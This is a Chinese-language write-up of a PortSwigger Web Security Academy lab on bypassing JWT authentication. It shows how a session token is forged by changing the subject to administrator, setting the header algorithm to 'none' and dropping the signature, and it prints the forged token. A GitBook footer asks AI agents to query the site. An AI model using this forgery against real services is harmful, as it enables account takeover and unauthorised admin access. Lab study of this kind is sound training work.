> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/jwt/jwt-authentication-bypass-via-flawed-signature-verification.md).
# 通过有缺陷的签名验证绕过 JWT 身份验证
通过有缺陷的签名验证绕过 JWT 身份验证，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复 co
### 通过有缺陷的签名验证绕过 JWT 身份验证
**实验背景**
本实验使用 **JSON Web 令牌（JWT）** 用于管理用户会话。/ 服务器配置不正确：它\*\*接受未签名的 JWT\*\*，允许在没有私钥的情况下伪造有效令牌。
**目标：**
* 编辑会话 JWT 以访问 `/admin` 管理面板
* 删除用户 **carlos**
**提供的凭据：**
* 用户： `wiener`
* 密码： `peter`
\*\* JWT 初步分析\*\*
登录后，会提供一个 JWT 会话 cookie：
```bash
eyJraWQiOiJhZTJhMTg3MS05MDJkLTQ2YTctYWFiOC1mOTU1OGJiMGU2NGUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMTU3Niwic3ViIjoid2llbmVyIn0.CDQZmT-cC5Oa1A4yVjgEu1HVYC_J7aZ_Utfjkbdy8D0frSJVeZygaS82Frj4ZI6q8a0XGgvDE1NEJ1TQdnrJ2WSFRWoew7Nen9FJe1X_Rz2nHVKCA5kk30Kx2xB9BQ6ij-wbQLLcZkPV4CqklQ51CwPwrxCfPzpGXxCGOhjOvfYTeZzmKrskOzTG1Ikk3rv4JGWY1GKATeRXuZgbIUxG4QsHS7bDOzcUCuhUiUj4uu4gWE2FvZFLpnbNC1VvtUyq37Qqrqo78IomtnA3pe6e285IzkIr8IK-iiLVvkV4q2pTDI4-FIaMsaqMvyLvBWqsHMR-OXL4MJZMQho0E1Cdtw
```
* **头部**: `RS256` 算法
* **有效载荷**: `wiener` 用户
* **签名**：原始且有效
**载荷修改**
目标是假装成管理员。/ 该 `sub` 字段在载荷中被修改：
```json
{
"iss": "portswigger",
"exp": 1767531576,
"sub": "管理员"
}
```
**错误验证的利用**
服务器接受带有 `none` 算法。/ 该 **头部** 随后被修改：
```json
{
"kid": "ae2a1871-902d-46a7-aab8-f9558bb0e64e",
"alg": "none"
}
```
接下来：
* 签名被完全删除\*\*
* 最终 JWT 以一个点结尾（`.`)
{% code overflow="wrap" %}
```bash
eyJraWQiOiJhZTJhMTg3MS05MDJkLTQ2YTctYWFiOC1mOTU1OGJiMGU2NGUiLCJhbGciOiJub25lIn0%3d.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMjI2NSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.
```
{% endcode %}
**结果**
* 服务器\*\*接受未签名的 JWT\*\*
* 可访问 `/admin` 允许访问面板
* 用户 **carlos** 可能会被删除
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/jwt/jwt-authentication-bypass-via-flawed-signature-verification.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)